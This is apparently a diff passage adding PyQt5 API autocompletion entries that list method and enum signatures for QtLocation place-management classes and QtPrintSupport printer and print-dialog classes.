+QtLocation.QPlaceManager.compatiblePlace?4(QPlace) -> QPlace +QtLocation.QPlaceManager.matchingPlaces?4(QPlaceMatchRequest) -> QPlaceMatchReply +QtLocation.QPlaceManager.finished?4(QPlaceReply) +QtLocation.QPlaceManager.error?4(QPlaceReply, QPlaceReply.Error, QString errorString='') +QtLocation.QPlaceManager.placeAdded?4(QString) +QtLocation.QPlaceManager.placeUpdated?4(QString) +QtLocation.QPlaceManager.placeRemoved?4(QString) +QtLocation.QPlaceManager.categoryAdded?4(QPlaceCategory, QString) +QtLocation.QPlaceManager.categoryUpdated?4(QPlaceCategory, QString) +QtLocation.QPlaceManager.categoryRemoved?4(QString, QString) +QtLocation.QPlaceManager.dataChanged?4() +QtLocation.QPlaceManagerEngine?1(QVariantMap, QObject parent=None) +QtLocation.QPlaceManagerEngine.__init__?1(self, QVariantMap, QObject parent=None) +QtLocation.QPlaceManagerEngine.managerName?4() -> QString +QtLocation.QPlaceManagerEngine.managerVersion?4() -> int +QtLocation.QPlaceManagerEngine.getPlaceDetails?4(QString) -> QPlaceDetailsReply +QtLocation.QPlaceManagerEngine.getPlaceContent?4(QPlaceContentRequest) -> QPlaceContentReply +QtLocation.QPlaceManagerEngine.search?4(QPlaceSearchRequest) -> QPlaceSearchReply +QtLocation.QPlaceManagerEngine.searchSuggestions?4(QPlaceSearchRequest) -> QPlaceSearchSuggestionReply +QtLocation.QPlaceManagerEngine.savePlace?4(QPlace) -> QPlaceIdReply +QtLocation.QPlaceManagerEngine.removePlace?4(QString) -> QPlaceIdReply +QtLocation.QPlaceManagerEngine.saveCategory?4(QPlaceCategory, QString) -> QPlaceIdReply +QtLocation.QPlaceManagerEngine.removeCategory?4(QString) -> QPlaceIdReply +QtLocation.QPlaceManagerEngine.initializeCategories?4() -> QPlaceReply +QtLocation.QPlaceManagerEngine.parentCategoryId?4(QString) -> QString +QtLocation.QPlaceManagerEngine.childCategoryIds?4(QString) -> QStringList +QtLocation.QPlaceManagerEngine.category?4(QString) -> QPlaceCategory +QtLocation.QPlaceManagerEngine.childCategories?4(QString) -> unknown-type +QtLocation.QPlaceManagerEngine.locales?4() -> unknown-type +QtLocation.QPlaceManagerEngine.setLocales?4(unknown-type) +QtLocation.QPlaceManagerEngine.constructIconUrl?4(QPlaceIcon, QSize) -> QUrl +QtLocation.QPlaceManagerEngine.compatiblePlace?4(QPlace) -> QPlace +QtLocation.QPlaceManagerEngine.matchingPlaces?4(QPlaceMatchRequest) -> QPlaceMatchReply +QtLocation.QPlaceManagerEngine.finished?4(QPlaceReply) +QtLocation.QPlaceManagerEngine.error?4(QPlaceReply, QPlaceReply.Error, QString errorString='') +QtLocation.QPlaceManagerEngine.placeAdded?4(QString) +QtLocation.QPlaceManagerEngine.placeUpdated?4(QString) +QtLocation.QPlaceManagerEngine.placeRemoved?4(QString) +QtLocation.QPlaceManagerEngine.categoryAdded?4(QPlaceCategory, QString) +QtLocation.QPlaceManagerEngine.categoryUpdated?4(QPlaceCategory, QString) +QtLocation.QPlaceManagerEngine.categoryRemoved?4(QString, QString) +QtLocation.QPlaceManagerEngine.dataChanged?4() +QtLocation.QPlaceManagerEngine.manager?4() -> QPlaceManager +QtLocation.QPlaceMatchReply?1(QObject parent=None) +QtLocation.QPlaceMatchReply.__init__?1(self, QObject parent=None) +QtLocation.QPlaceMatchReply.type?4() -> QPlaceReply.Type +QtLocation.QPlaceMatchReply.places?4() -> unknown-type +QtLocation.QPlaceMatchReply.request?4() -> QPlaceMatchRequest +QtLocation.QPlaceMatchReply.setPlaces?4(unknown-type) +QtLocation.QPlaceMatchReply.setRequest?4(QPlaceMatchRequest) +QtLocation.QPlaceMatchRequest.AlternativeId?7 +QtLocation.QPlaceMatchRequest?1() +QtLocation.QPlaceMatchRequest.__init__?1(self) +QtLocation.QPlaceMatchRequest?1(QPlaceMatchRequest) +QtLocation.QPlaceMatchRequest.__init__?1(self, QPlaceMatchRequest) +QtLocation.QPlaceMatchRequest.places?4() -> unknown-type +QtLocation.QPlaceMatchRequest.setPlaces?4(unknown-type) +QtLocation.QPlaceMatchRequest.setResults?4(unknown-type) +QtLocation.QPlaceMatchRequest.parameters?4() -> QVariantMap +QtLocation.QPlaceMatchRequest.setParameters?4(QVariantMap) +QtLocation.QPlaceMatchRequest.clear?4() +QtLocation.QPlaceSearchResult.SearchResultType?10 +QtLocation.QPlaceSearchResult.SearchResultType.UnknownSearchResult?10 +QtLocation.QPlaceSearchResult.SearchResultType.PlaceResult?10 +QtLocation.QPlaceSearchResult.SearchResultType.ProposedSearchResult?10 +QtLocation.QPlaceSearchResult?1() +QtLocation.QPlaceSearchResult.__init__?1(self) +QtLocation.QPlaceSearchResult?1(QPlaceSearchResult) +QtLocation.QPlaceSearchResult.__init__?1(self, QPlaceSearchResult) +QtLocation.QPlaceSearchResult.type?4() -> QPlaceSearchResult.SearchResultType +QtLocation.QPlaceSearchResult.title?4() -> QString +QtLocation.QPlaceSearchResult.setTitle?4(QString) +QtLocation.QPlaceSearchResult.icon?4() -> QPlaceIcon +QtLocation.QPlaceSearchResult.setIcon?4(QPlaceIcon) +QtLocation.QPlaceProposedSearchResult?1() +QtLocation.QPlaceProposedSearchResult.__init__?1(self) +QtLocation.QPlaceProposedSearchResult?1(QPlaceSearchResult) +QtLocation.QPlaceProposedSearchResult.__init__?1(self, QPlaceSearchResult) +QtLocation.QPlaceProposedSearchResult?1(QPlaceProposedSearchResult) +QtLocation.QPlaceProposedSearchResult.__init__?1(self, QPlaceProposedSearchResult) +QtLocation.QPlaceProposedSearchResult.searchRequest?4() -> QPlaceSearchRequest +QtLocation.QPlaceProposedSearchResult.setSearchRequest?4(QPlaceSearchRequest) +QtLocation.QPlaceRatings?1() +QtLocation.QPlaceRatings.__init__?1(self) +QtLocation.QPlaceRatings?1(QPlaceRatings) +QtLocation.QPlaceRatings.__init__?1(self, QPlaceRatings) +QtLocation.QPlaceRatings.average?4() -> float +QtLocation.QPlaceRatings.setAverage?4(float) +QtLocation.QPlaceRatings.count?4() -> int +QtLocation.QPlaceRatings.setCount?4(int) +QtLocation.QPlaceRatings.maximum?4() -> float +QtLocation.QPlaceRatings.setMaximum?4(float) +QtLocation.QPlaceRatings.isEmpty?4() -> bool +QtLocation.QPlaceResult?1() +QtLocation.QPlaceResult.__init__?1(self) +QtLocation.QPlaceResult?1(QPlaceSearchResult) +QtLocation.QPlaceResult.__init__?1(self, QPlaceSearchResult) +QtLocation.QPlaceResult?1(QPlaceResult) +QtLocation.QPlaceResult.__init__?1(self, QPlaceResult) +QtLocation.QPlaceResult.distance?4() -> float +QtLocation.QPlaceResult.setDistance?4(float) +QtLocation.QPlaceResult.place?4() -> QPlace +QtLocation.QPlaceResult.setPlace?4(QPlace) +QtLocation.QPlaceResult.isSponsored?4() -> bool +QtLocation.QPlaceResult.setSponsored?4(bool) +QtLocation.QPlaceReview?1() +QtLocation.QPlaceReview.__init__?1(self) +QtLocation.QPlaceReview?1(QPlaceContent) +QtLocation.QPlaceReview.__init__?1(self, QPlaceContent) +QtLocation.QPlaceReview?1(QPlaceReview) +QtLocation.QPlaceReview.__init__?1(self, QPlaceReview) +QtLocation.QPlaceReview.dateTime?4() -> QDateTime +QtLocation.QPlaceReview.setDateTime?4(QDateTime) +QtLocation.QPlaceReview.text?4() -> QString +QtLocation.QPlaceReview.setText?4(QString) +QtLocation.QPlaceReview.language?4() -> QString +QtLocation.QPlaceReview.setLanguage?4(QString) +QtLocation.QPlaceReview.rating?4() -> float +QtLocation.QPlaceReview.setRating?4(float) +QtLocation.QPlaceReview.reviewId?4() -> QString +QtLocation.QPlaceReview.setReviewId?4(QString) +QtLocation.QPlaceReview.title?4() -> QString +QtLocation.QPlaceReview.setTitle?4(QString) +QtLocation.QPlaceSearchReply?1(QObject parent=None) +QtLocation.QPlaceSearchReply.__init__?1(self, QObject parent=None) +QtLocation.QPlaceSearchReply.type?4() -> QPlaceReply.Type +QtLocation.QPlaceSearchReply.results?4() -> unknown-type +QtLocation.QPlaceSearchReply.request?4() -> QPlaceSearchRequest +QtLocation.QPlaceSearchReply.previousPageRequest?4() -> QPlaceSearchRequest +QtLocation.QPlaceSearchReply.nextPageRequest?4() -> QPlaceSearchRequest +QtLocation.QPlaceSearchReply.setResults?4(unknown-type) +QtLocation.QPlaceSearchReply.setRequest?4(QPlaceSearchRequest) +QtLocation.QPlaceSearchReply.setPreviousPageRequest?4(QPlaceSearchRequest) +QtLocation.QPlaceSearchReply.setNextPageRequest?4(QPlaceSearchRequest) +QtLocation.QPlaceSearchRequest.RelevanceHint?10 +QtLocation.QPlaceSearchRequest.RelevanceHint.UnspecifiedHint?10 +QtLocation.QPlaceSearchRequest.RelevanceHint.DistanceHint?10 +QtLocation.QPlaceSearchRequest.RelevanceHint.LexicalPlaceNameHint?10 +QtLocation.QPlaceSearchRequest?1() +QtLocation.QPlaceSearchRequest.__init__?1(self) +QtLocation.QPlaceSearchRequest?1(QPlaceSearchRequest) +QtLocation.QPlaceSearchRequest.__init__?1(self, QPlaceSearchRequest) +QtLocation.QPlaceSearchRequest.searchTerm?4() -> QString +QtLocation.QPlaceSearchRequest.setSearchTerm?4(QString) +QtLocation.QPlaceSearchRequest.categories?4() -> unknown-type +QtLocation.QPlaceSearchRequest.setCategory?4(QPlaceCategory) +QtLocation.QPlaceSearchRequest.setCategories?4(unknown-type) +QtLocation.QPlaceSearchRequest.searchArea?4() -> QGeoShape +QtLocation.QPlaceSearchRequest.setSearchArea?4(QGeoShape) +QtLocation.QPlaceSearchRequest.recommendationId?4() -> QString +QtLocation.QPlaceSearchRequest.setRecommendationId?4(QString) +QtLocation.QPlaceSearchRequest.searchContext?4() -> QVariant +QtLocation.QPlaceSearchRequest.setSearchContext?4(QVariant) +QtLocation.QPlaceSearchRequest.visibilityScope?4() -> QLocation.VisibilityScope +QtLocation.QPlaceSearchRequest.setVisibilityScope?4(QLocation.VisibilityScope) +QtLocation.QPlaceSearchRequest.relevanceHint?4() -> QPlaceSearchRequest.RelevanceHint +QtLocation.QPlaceSearchRequest.setRelevanceHint?4(QPlaceSearchRequest.RelevanceHint) +QtLocation.QPlaceSearchRequest.limit?4() -> int +QtLocation.QPlaceSearchRequest.setLimit?4(int) +QtLocation.QPlaceSearchRequest.clear?4() +QtLocation.QPlaceSearchSuggestionReply?1(QObject parent=None) +QtLocation.QPlaceSearchSuggestionReply.__init__?1(self, QObject parent=None) +QtLocation.QPlaceSearchSuggestionReply.suggestions?4() -> QStringList +QtLocation.QPlaceSearchSuggestionReply.type?4() -> QPlaceReply.Type +QtLocation.QPlaceSearchSuggestionReply.setSuggestions?4(QStringList) +QtLocation.QPlaceSupplier?1() +QtLocation.QPlaceSupplier.__init__?1(self) +QtLocation.QPlaceSupplier?1(QPlaceSupplier) +QtLocation.QPlaceSupplier.__init__?1(self, QPlaceSupplier) +QtLocation.QPlaceSupplier.name?4() -> QString +QtLocation.QPlaceSupplier.setName?4(QString) +QtLocation.QPlaceSupplier.supplierId?4() -> QString +QtLocation.QPlaceSupplier.setSupplierId?4(QString) +QtLocation.QPlaceSupplier.url?4() -> QUrl +QtLocation.QPlaceSupplier.setUrl?4(QUrl) +QtLocation.QPlaceSupplier.icon?4() -> QPlaceIcon +QtLocation.QPlaceSupplier.setIcon?4(QPlaceIcon) +QtLocation.QPlaceSupplier.isEmpty?4() -> bool +QtLocation.QPlaceUser?1() +QtLocation.QPlaceUser.__init__?1(self) +QtLocation.QPlaceUser?1(QPlaceUser) +QtLocation.QPlaceUser.__init__?1(self, QPlaceUser) +QtLocation.QPlaceUser.userId?4() -> QString +QtLocation.QPlaceUser.setUserId?4(QString) +QtLocation.QPlaceUser.name?4() -> QString +QtLocation.QPlaceUser.setName?4(QString) +QtPrintSupport.QAbstractPrintDialog.PrintDialogOption?10 +QtPrintSupport.QAbstractPrintDialog.PrintDialogOption.None_?10 +QtPrintSupport.QAbstractPrintDialog.PrintDialogOption.PrintToFile?10 +QtPrintSupport.QAbstractPrintDialog.PrintDialogOption.PrintSelection?10 +QtPrintSupport.QAbstractPrintDialog.PrintDialogOption.PrintPageRange?10 +QtPrintSupport.QAbstractPrintDialog.PrintDialogOption.PrintCollateCopies?10 +QtPrintSupport.QAbstractPrintDialog.PrintDialogOption.PrintShowPageSize?10 +QtPrintSupport.QAbstractPrintDialog.PrintDialogOption.PrintCurrentPage?10 +QtPrintSupport.QAbstractPrintDialog.PrintRange?10 +QtPrintSupport.QAbstractPrintDialog.PrintRange.AllPages?10 +QtPrintSupport.QAbstractPrintDialog.PrintRange.Selection?10 +QtPrintSupport.QAbstractPrintDialog.PrintRange.PageRange?10 +QtPrintSupport.QAbstractPrintDialog.PrintRange.CurrentPage?10 +QtPrintSupport.QAbstractPrintDialog?1(QPrinter, QWidget parent=None) +QtPrintSupport.QAbstractPrintDialog.__init__?1(self, QPrinter, QWidget parent=None) +QtPrintSupport.QAbstractPrintDialog.exec_?4() -> int +QtPrintSupport.QAbstractPrintDialog.exec?4() -> int +QtPrintSupport.QAbstractPrintDialog.setPrintRange?4(QAbstractPrintDialog.PrintRange) +QtPrintSupport.QAbstractPrintDialog.printRange?4() -> QAbstractPrintDialog.PrintRange +QtPrintSupport.QAbstractPrintDialog.setMinMax?4(int, int) +QtPrintSupport.QAbstractPrintDialog.minPage?4() -> int +QtPrintSupport.QAbstractPrintDialog.maxPage?4() -> int +QtPrintSupport.QAbstractPrintDialog.setFromTo?4(int, int) +QtPrintSupport.QAbstractPrintDialog.fromPage?4() -> int +QtPrintSupport.QAbstractPrintDialog.toPage?4() -> int +QtPrintSupport.QAbstractPrintDialog.printer?4() -> QPrinter +QtPrintSupport.QAbstractPrintDialog.setOptionTabs?4(unknown-type) +QtPrintSupport.QAbstractPrintDialog.setEnabledOptions?4(QAbstractPrintDialog.PrintDialogOptions) +QtPrintSupport.QAbstractPrintDialog.enabledOptions?4() -> QAbstractPrintDialog.PrintDialogOptions +QtPrintSupport.QAbstractPrintDialog.PrintDialogOptions?1() +QtPrintSupport.QAbstractPrintDialog.PrintDialogOptions.__init__?1(self) +QtPrintSupport.QAbstractPrintDialog.PrintDialogOptions?1(int) +QtPrintSupport.QAbstractPrintDialog.PrintDialogOptions.__init__?1(self, int) +QtPrintSupport.QAbstractPrintDialog.PrintDialogOptions?1(QAbstractPrintDialog.PrintDialogOptions) +QtPrintSupport.QAbstractPrintDialog.PrintDialogOptions.__init__?1(self, QAbstractPrintDialog.PrintDialogOptions) +QtPrintSupport.QPageSetupDialog?1(QPrinter, QWidget parent=None) +QtPrintSupport.QPageSetupDialog.__init__?1(self, QPrinter, QWidget parent=None) +QtPrintSupport.QPageSetupDialog?1(QWidget parent=None) +QtPrintSupport.QPageSetupDialog.__init__?1(self, QWidget parent=None) +QtPrintSupport.QPageSetupDialog.setVisible?4(bool) +QtPrintSupport.QPageSetupDialog.exec_?4() -> int +QtPrintSupport.QPageSetupDialog.exec?4() -> int +QtPrintSupport.QPageSetupDialog.open?4() +QtPrintSupport.QPageSetupDialog.open?4(object) +QtPrintSupport.QPageSetupDialog.done?4(int) +QtPrintSupport.QPageSetupDialog.printer?4() -> QPrinter +QtPrintSupport.QPrintDialog?1(QPrinter, QWidget parent=None) +QtPrintSupport.QPrintDialog.__init__?1(self, QPrinter, QWidget parent=None) +QtPrintSupport.QPrintDialog?1(QWidget parent=None) +QtPrintSupport.QPrintDialog.__init__?1(self, QWidget parent=None) +QtPrintSupport.QPrintDialog.exec_?4() -> int +QtPrintSupport.QPrintDialog.exec?4() -> int +QtPrintSupport.QPrintDialog.done?4(int) +QtPrintSupport.QPrintDialog.setOption?4(QAbstractPrintDialog.PrintDialogOption, bool on=True) +QtPrintSupport.QPrintDialog.testOption?4(QAbstractPrintDialog.PrintDialogOption) -> bool +QtPrintSupport.QPrintDialog.setOptions?4(QAbstractPrintDialog.PrintDialogOptions) +QtPrintSupport.QPrintDialog.options?4() -> QAbstractPrintDialog.PrintDialogOptions +QtPrintSupport.QPrintDialog.setVisible?4(bool) +QtPrintSupport.QPrintDialog.open?4() +QtPrintSupport.QPrintDialog.open?4(object) +QtPrintSupport.QPrintDialog.accepted?4() +QtPrintSupport.QPrintDialog.accepted?4(QPrinter) +QtPrintSupport.QPrintEngine.PrintEnginePropertyKey?10 +QtPrintSupport.QPrintEngine.PrintEnginePropertyKey.PPK_CollateCopies?10 +QtPrintSupport.QPrintEngine.PrintEnginePropertyKey.PPK_ColorMode?10 +QtPrintSupport.QPrintEngine.PrintEnginePropertyKey.PPK_Creator?10 +QtPrintSupport.QPrintEngine.PrintEnginePropertyKey.PPK_DocumentName?10 +QtPrintSupport.QPrintEngine.PrintEnginePropertyKey.PPK_FullPage?10 +QtPrintSupport.QPrintEngine.PrintEnginePropertyKey.PPK_NumberOfCopies?10 +QtPrintSupport.QPrintEngine.PrintEnginePropertyKey.PPK_Orientation?10 +QtPrintSupport.QPrintEngine.PrintEnginePropertyKey.PPK_OutputFileName?10 +QtPrintSupport.QPrintEngine.PrintEnginePropertyKey.PPK_PageOrder?10 +QtPrintSupport.QPrintEngine.PrintEnginePropertyKey.PPK_PageRect?10 +QtPrintSupport.QPrintEngine.PrintEnginePropertyKey.PPK_PageSize?10 +QtPrintSupport.QPrintEngine.PrintEnginePropertyKey.PPK_PaperRect?10 +QtPrintSupport.QPrintEngine.PrintEnginePropertyKey.PPK_PaperSource?10 +QtPrintSupport.QPrintEngine.PrintEnginePropertyKey.PPK_PrinterName?10 +QtPrintSupport.QPrintEngine.PrintEnginePropertyKey.PPK_PrinterProgram?10 +QtPrintSupport.QPrintEngine.PrintEnginePropertyKey.PPK_Resolution?10 +QtPrintSupport.QPrintEngine.PrintEnginePropertyKey.PPK_SelectionOption?10 +QtPrintSupport.QPrintEngine.PrintEnginePropertyKey.PPK_SupportedResolutions?10 +QtPrintSupport.QPrintEngine.PrintEnginePropertyKey.PPK_WindowsPageSize?10 +QtPrintSupport.QPrintEngine.PrintEnginePropertyKey.PPK_FontEmbedding?10 +QtPrintSupport.QPrintEngine.PrintEnginePropertyKey.PPK_Duplex?10 +QtPrintSupport.QPrintEngine.PrintEnginePropertyKey.PPK_PaperSources?10 +QtPrintSupport.QPrintEngine.PrintEnginePropertyKey.PPK_CustomPaperSize?10 +QtPrintSupport.QPrintEngine.PrintEnginePropertyKey.PPK_PageMargins?10 +QtPrintSupport.QPrintEngine.PrintEnginePropertyKey.PPK_PaperSize?10 +QtPrintSupport.QPrintEngine.PrintEnginePropertyKey.PPK_CopyCount?10 +QtPrintSupport.QPrintEngine.PrintEnginePropertyKey.PPK_SupportsMultipleCopies?10 +QtPrintSupport.QPrintEngine.PrintEnginePropertyKey.PPK_PaperName?10 +QtPrintSupport.QPrintEngine.PrintEnginePropertyKey.PPK_QPageSize?10 +QtPrintSupport.QPrintEngine.PrintEnginePropertyKey.PPK_QPageMargins?10 +QtPrintSupport.QPrintEngine.PrintEnginePropertyKey.PPK_QPageLayout?10 +QtPrintSupport.QPrintEngine.PrintEnginePropertyKey.PPK_CustomBase?10 +QtPrintSupport.QPrintEngine?1() +QtPrintSupport.QPrintEngine.__init__?1(self) +QtPrintSupport.QPrintEngine?1(QPrintEngine) +QtPrintSupport.QPrintEngine.__init__?1(self, QPrintEngine) +QtPrintSupport.QPrintEngine.setProperty?4(QPrintEngine.PrintEnginePropertyKey, QVariant) +QtPrintSupport.QPrintEngine.property?4(QPrintEngine.PrintEnginePropertyKey) -> QVariant +QtPrintSupport.QPrintEngine.newPage?4() -> bool +QtPrintSupport.QPrintEngine.abort?4() -> bool +QtPrintSupport.QPrintEngine.metric?4(QPaintDevice.PaintDeviceMetric) -> int +QtPrintSupport.QPrintEngine.printerState?4() -> QPrinter.PrinterState +QtPrintSupport.QPrinter.DuplexMode?10 +QtPrintSupport.QPrinter.DuplexMode.DuplexNone?10 +QtPrintSupport.QPrinter.DuplexMode.DuplexAuto?10 +QtPrintSupport.QPrinter.DuplexMode.DuplexLongSide?10 +QtPrintSupport.QPrinter.DuplexMode.DuplexShortSide?10 +QtPrintSupport.QPrinter.Unit?10 +QtPrintSupport.QPrinter.Unit.Millimeter?10 +QtPrintSupport.QPrinter.Unit.Point?10 +QtPrintSupport.QPrinter.Unit.Inch?10 +QtPrintSupport.QPrinter.Unit.Pica?10 +QtPrintSupport.QPrinter.Unit.Didot?10 +QtPrintSupport.QPrinter.Unit.Cicero?10 +QtPrintSupport.QPrinter.Unit.DevicePixel?10 +QtPrintSupport.QPrinter.PrintRange?10 +QtPrintSupport.QPrinter.PrintRange.AllPages?10 +QtPrintSupport.QPrinter.PrintRange.Selection?10 +QtPrintSupport.QPrinter.PrintRange.PageRange?10 +QtPrintSupport.QPrinter.PrintRange.CurrentPage?10 +QtPrintSupport.QPrinter.OutputFormat?10 +QtPrintSupport.QPrinter.OutputFormat.NativeFormat?10 +QtPrintSupport.QPrinter.OutputFormat.PdfFormat?10 +QtPrintSupport.QPrinter.PrinterState?10 +QtPrintSupport.QPrinter.PrinterState.Idle?10 +QtPrintSupport.QPrinter.PrinterState.Active?10 +QtPrintSupport.QPrinter.PrinterState.Aborted?10 +QtPrintSupport.QPrinter.PrinterState.Error?10 +QtPrintSupport.QPrinter.PaperSource?10 +QtPrintSupport.QPrinter.PaperSource.OnlyOne?10 +QtPrintSupport.QPrinter.PaperSource.Lower?10 +QtPrintSupport.QPrinter.PaperSource.Middle?10 +QtPrintSupport.QPrinter.PaperSource.Manual?10 +QtPrintSupport.QPrinter.PaperSource.Envelope?10 +QtPrintSupport.QPrinter.PaperSource.EnvelopeManual?10 +QtPrintSupport.QPrinter.PaperSource.Auto?10 +QtPrintSupport.QPrinter.PaperSource.Tractor?10 +QtPrintSupport.QPrinter.PaperSource.SmallFormat?10 +QtPrintSupport.QPrinter.PaperSource.LargeFormat?10 +QtPrintSupport.QPrinter.PaperSource.LargeCapacity?10 +QtPrintSupport.QPrinter.PaperSource.Cassette?10 +QtPrintSupport.QPrinter.PaperSource.FormSource?10 +QtPrintSupport.QPrinter.PaperSource.MaxPageSource?10 +QtPrintSupport.QPrinter.PaperSource.Upper?10 +QtPrintSupport.QPrinter.PaperSource.CustomSource?10 +QtPrintSupport.QPrinter.PaperSource.LastPaperSource?10 +QtPrintSupport.QPrinter.ColorMode?10 +QtPrintSupport.QPrinter.ColorMode.GrayScale?10 +QtPrintSupport.QPrinter.ColorMode.Color?10 +QtPrintSupport.QPrinter.PageOrder?10 +QtPrintSupport.QPrinter.PageOrder.FirstPageFirst?10 +QtPrintSupport.QPrinter.PageOrder.LastPageFirst?10 +QtPrintSupport.QPrinter.Orientation?10 +QtPrintSupport.QPrinter.Orientation.Portrait?10 +QtPrintSupport.QPrinter.Orientation.Landscape?10 +QtPrintSupport.QPrinter.PrinterMode?10 +QtPrintSupport.QPrinter.PrinterMode.ScreenResolution?10 +QtPrintSupport.QPrinter.PrinterMode.PrinterResolution?10 +QtPrintSupport.QPrinter.PrinterMode.HighResolution?10 +QtPrintSupport.QPrinter?1(QPrinter.PrinterMode mode=QPrinter.ScreenResolution) +QtPrintSupport.QPrinter.__init__?1(self, QPrinter.PrinterMode mode=QPrinter.ScreenResolution) +QtPrintSupport.QPrinter?1(QPrinterInfo, QPrinter.PrinterMode mode=QPrinter.ScreenResolution) +QtPrintSupport.QPrinter.__init__?1(self, QPrinterInfo, QPrinter.PrinterMode mode=QPrinter.ScreenResolution) +QtPrintSupport.QPrinter.setOutputFormat?4(QPrinter.OutputFormat) +QtPrintSupport.QPrinter.outputFormat?4() -> QPrinter.OutputFormat +QtPrintSupport.QPrinter.setPrinterName?4(QString) +QtPrintSupport.QPrinter.printerName?4() -> QString +QtPrintSupport.QPrinter.isValid?4() -> bool +QtPrintSupport.QPrinter.setOutputFileName?4(QString) +QtPrintSupport.QPrinter.outputFileName?4() -> QString +QtPrintSupport.QPrinter.setPrintProgram?4(QString) +QtPrintSupport.QPrinter.printProgram?4() -> QString +QtPrintSupport.QPrinter.setDocName?4(QString) +QtPrintSupport.QPrinter.docName?4() -> QString +QtPrintSupport.QPrinter.setCreator?4(QString) +QtPrintSupport.QPrinter.creator?4() -> QString +QtPrintSupport.QPrinter.setOrientation?4(QPrinter.Orientation) +QtPrintSupport.QPrinter.orientation?4() -> QPrinter.Orientation +QtPrintSupport.QPrinter.setPageSizeMM?4(QSizeF) +QtPrintSupport.QPrinter.setPaperSize?4(QPagedPaintDevice.PageSize) +QtPrintSupport.QPrinter.paperSize?4() -> QPagedPaintDevice.PageSize +QtPrintSupport.QPrinter.setPaperSize?4(QSizeF, QPrinter.Unit) +QtPrintSupport.QPrinter.paperSize?4(QPrinter.Unit) -> QSizeF +QtPrintSupport.QPrinter.setPageOrder?4(QPrinter.PageOrder) +QtPrintSupport.QPrinter.pageOrder?4() -> QPrinter.PageOrder +QtPrintSupport.QPrinter.setResolution?4(int) +QtPrintSupport.QPrinter.resolution?4() -> int +QtPrintSupport.QPrinter.setColorMode?4(QPrinter.ColorMode) +QtPrintSupport.QPrinter.colorMode?4() -> QPrinter.ColorMode +QtPrintSupport.QPrinter.setCollateCopies?4(bool) +QtPrintSupport.QPrinter.collateCopies?4() -> bool +QtPrintSupport.QPrinter.setFullPage?4(bool) +QtPrintSupport.QPrinter.fullPage?4() -> bool +QtPrintSupport.QPrinter.setCopyCount?4(int) +QtPrintSupport.QPrinter.copyCount?4() -> int +QtPrintSupport.QPrinter.supportsMultipleCopies?4() -> bool +QtPrintSupport.QPrinter.setPaperSource?4(QPrinter.PaperSource) +QtPrintSupport.QPrinter.paperSource?4() -> QPrinter.PaperSource +QtPrintSupport.QPrinter.setDuplex?4(QPrinter.DuplexMode) +QtPrintSupport.QPrinter.duplex?4() -> QPrinter.DuplexMode +QtPrintSupport.QPrinter.supportedResolutions?4() -> unknown-type +QtPrintSupport.QPrinter.setFontEmbeddingEnabled?4(bool) +QtPrintSupport.QPrinter.fontEmbeddingEnabled?4() -> bool +QtPrintSupport.QPrinter.setDoubleSidedPrinting?4(bool) +QtPrintSupport.QPrinter.doubleSidedPrinting?4() -> bool +QtPrintSupport.QPrinter.paperRect?4() -> QRect +QtPrintSupport.QPrinter.pageRect?4() -> QRect +QtPrintSupport.QPrinter.paperRect?4(QPrinter.Unit) -> QRectF +QtPrintSupport.QPrinter.pageRect?4(QPrinter.Unit) -> QRectF +QtPrintSupport.QPrinter.newPage?4() -> bool +QtPrintSupport.QPrinter.abort?4() -> bool +QtPrintSupport.QPrinter.printerState?4() -> QPrinter.PrinterState +QtPrintSupport.QPrinter.paintEngine?4() -> QPaintEngine +QtPrintSupport.QPrinter.printEngine?4() -> QPrintEngine +QtPrintSupport.QPrinter.setFromTo?4(int, int) +QtPrintSupport.QPrinter.fromPage?4() -> int +QtPrintSupport.QPrinter.toPage?4() -> int +QtPrintSupport.QPrinter.setPrintRange?4(QPrinter.PrintRange) +QtPrintSupport.QPrinter.printRange?4() -> QPrinter.PrintRange +QtPrintSupport.QPrinter.setMargins?4(QPagedPaintDevice.Margins) +QtPrintSupport.QPrinter.setPageMargins?4(float, float, float, float, QPrinter.Unit) +QtPrintSupport.QPrinter.getPageMargins?4(QPrinter.Unit) -> (float, float, float, float) +QtPrintSupport.QPrinter.metric?4(QPaintDevice.PaintDeviceMetric) -> int +QtPrintSupport.QPrinter.setEngines?4(QPrintEngine, QPaintEngine) +QtPrintSupport.QPrinter.setPaperName?4(QString) +QtPrintSupport.QPrinter.paperName?4() -> QString +QtPrintSupport.QPrinter.setPdfVersion?4(QPagedPaintDevice.PdfVersion) +QtPrintSupport.QPrinter.pdfVersion?4() -> QPagedPaintDevice.PdfVersion +QtPrintSupport.QPrinterInfo?1() +QtPrintSupport.QPrinterInfo.__init__?1(self) +QtPrintSupport.QPrinterInfo?1(QPrinterInfo) +QtPrintSupport.QPrinterInfo.__init__?1(self, QPrinterInfo) +QtPrintSupport.QPrinterInfo?1(QPrinter) +QtPrintSupport.QPrinterInfo.__init__?1(self, QPrinter) +QtPrintSupport.QPrinterInfo.printerName?4() -> QString +QtPrintSupport.QPrinterInfo.isNull?4() -> bool +QtPrintSupport.QPrinterInfo.isDefault?4() -> bool +QtPrintSupport.QPrinterInfo.supportedPaperSizes?4() -> unknown-type +QtPrintSupport.QPrinterInfo.supportedSizesWithNames?4() -> unknown-type +QtPrintSupport.QPrinterInfo.availablePrinters?4() -> unknown-type +QtPrintSupport.QPrinterInfo.defaultPrinter?4() -> QPrinterInfo +QtPrintSupport.QPrinterInfo.description?4() -> QString +QtPrintSupport.QPrinterInfo.location?4() -> QString +QtPrintSupport.QPrinterInfo.makeAndModel?4() -> QString +QtPrintSupport.QPrinterInfo.printerInfo?4(QString) -> QPrinterInfo +QtPrintSupport.QPrinterInfo.isRemote?4() -> bool +QtPrintSupport.QPrinterInfo.state?4() -> QPrinter.PrinterState +QtPrintSupport.QPrinterInfo.supportedPageSizes?4() -> unknown-type +QtPrintSupport.QPrinterInfo.defaultPageSize?4() -> QPageSize +QtPrintSupport.QPrinterInfo.supportsCustomPageSizes?4() -> bool +QtPrintSupport.QPrinterInfo.minimumPhysicalPageSize?4() -> QPageSize +QtPrintSupport.QPrinterInfo.maximumPhysicalPageSize?4() -> QPageSize +QtPrintSupport.QPrinterInfo.supportedResolutions?4() -> unknown-type +QtPrintSupport.QPrinterInfo.availablePrinterNames?4() -> QStringList +QtPrintSupport.QPrinterInfo.defaultPrinterName?4() -> QString +QtPrintSupport.QPrinterInfo.defaultDuplexMode?4() -> QPrinter.DuplexMode +QtPrintSupport.QPrinterInfo.supportedDuplexModes?4() -> unknown-type +QtPrintSupport.QPrinterInfo.defaultColorMode?4() -> QPrinter.ColorMode 